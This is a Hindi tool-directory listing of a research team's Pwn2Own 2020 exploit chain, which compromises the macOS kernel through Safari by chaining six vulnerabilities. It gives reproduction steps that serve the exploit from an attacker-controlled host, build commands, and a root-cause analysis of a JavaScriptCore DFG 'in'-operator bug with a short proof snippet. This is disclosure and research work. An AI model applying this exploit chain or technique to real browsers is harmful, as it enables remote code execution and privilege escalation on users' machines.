Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
pwn2own2020 — छह कमजोरियों को श्रृंखलित करके Safari के माध्यम से macOS Kernel से समझौता करना | Kitploit
उपकरण/GitHubGitHub/sslab-gatech/pwn2own2020
विशेषाधिकार वृद्धिशोषणशेलकोडवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंटबाइनरी शोषण
GitHubsslab-gatech/pwn2own2020

pwn2own2020

छह कमजोरियों को श्रृंखलित करके Safari के माध्यम से macOS Kernel से समझौता करना

रिपॉजिटरी देखें
41458225 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

छह कमजोरियों को श्रृंखलाबद्ध करके Safari के माध्यम से macOS कर्नेल से समझौता करना

अवलोकन

इस रिपॉजिटरी में Pwn2Own 2020 में हमारी विजेता प्रस्तुति के शोषण और तकनीकी विवरण शामिल हैं, जो macOS 10.15.3 के लिए कर्नेल विशेषाधिकार वृद्धि के साथ Apple Safari को लक्षित करती है। अधिक जानकारी के लिए, आप हमारी Blackhat USA 2020 स्लाइड्स और वीडियो भी देख सकते हैं। इस रिपॉजिटरी में सफल शोषण के लिए हमारा डेमो वीडियो भी शामिल है।

पुनरुत्पादन कैसे करें

  1. exploits फ़ोल्डर में python3 का उपयोग करके HTTP सर्वर चलाएं।```shell $ python3 -m http.server 80
2. हमलावर सर्वर के IP का उपयोग करके वेबसाइट को Safari के साथ एक्सेस करें:```
http://[attacker_ip]/exploit.html
  1. कैलकुलेटर के लिए प्रतीक्षा करें (आमतौर पर दस सेकंड में खुल जाता है, लेकिन यदि आप अभागे हैं, तो इसमें कुछ समय लग सकता है) और कर्नेल विशेषाधिकार वाला एक टर्मिनल। अपने कर्नेल विशेषाधिकार वृद्धि को प्रदर्शित करने के लिए, हमने SIP को अक्षम किया। आप csrutil status कमांड चलाकर जांच सकते हैं, जो disabled दिखाएगा।

Build from source

आपकी सुविधा के लिए, हमने एक संकलित पेलोड, payload.js प्रदान किया है। लेकिन, यदि आप चाहें, तो आप इसे स्वयं बना सकते हैं। ध्यान दें कि इसमें बहुत अधिक समय लगेगा क्योंकि हम अपने शोषण श्रृंखला के भाग के रूप में WebKit का निर्माण करेंगे। यह ध्यान देने योग्य है कि हमने अपनी निर्माण प्रक्रिया का परीक्षण केवल Mac OS में किया है।```shell

Install xcode first

$ python3 -m pip install --user lief $ make

तकनीकी विवरण
-----------------

इस एक्सप्लॉइट को बनाने के लिए, हमने निम्नलिखित *छह* कमजोरियों को श्रृंखलाबद्ध किया।

### 1. 'in' ऑपरेटर के गलत साइड-इफेक्ट मॉडलिंग के कारण JavaScriptCore DFG कंपाइलर में सफारी में रिमोट कोड निष्पादन

- मूल कारण विश्लेषण

JavaScriptCore में, जब 'in' ऑपरेटर के साथ एक अनुक्रमित संपत्ति (indexed property) की क्वेरी की गई,
DFG कंपाइलर मानता है कि यह साइड-इफेक्ट मुक्त है जब तक कि इसकी प्रोटोटाइप श्रृंखला में कोई प्रॉक्सी
ऑब्जेक्ट न हो जो इस ऑपरेशन को इंटरसेप्ट कर सके।
JavaScriptCore एक ऑब्जेक्ट को चिह्नित करता है जो इस अनुक्रमित संपत्ति एक्सेस को इंटरसेप्ट कर सकता है
'MayHaveIndexedAccessors' नामक फ्लैग का उपयोग करके। यह फ्लैग
प्रॉक्सी ऑब्जेक्ट के लिए स्पष्ट रूप से चिह्नित किया जाता है।```javascript
0 in [] // side-effect free

let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!

हालांकि, एक और ऑब्जेक्ट है जो साइड-इफेक्ट का कारण बन सकता है: JSHTMLEmbedElement जो अपनी स्वयं की getOwnPropertySlot() विधि लागू करता है। एक तरीका 'in' ऑपरेटर के साथ JavaScript कॉलबैक (यानी साइड-इफेक्ट) को ट्रिगर करने का है PDF प्लगइन के साथ <embed> एलिमेंट का उपयोग करना; जब embed / object टैग के DOM ऑब्जेक्ट पर कोई प्रॉपर्टी क्वेरी की जाती है, तो यह बैक किए गए प्लगइन को लोड करने का प्रयास करता है और PDF प्लगइन के मामले में DOMSubtreeModified इवेंट हैंडलर को कॉल किया जा सकता है क्योंकि यह body एलिमेंट पर appendChild विधि का उपयोग करता है।

टूल डाउनलोड करें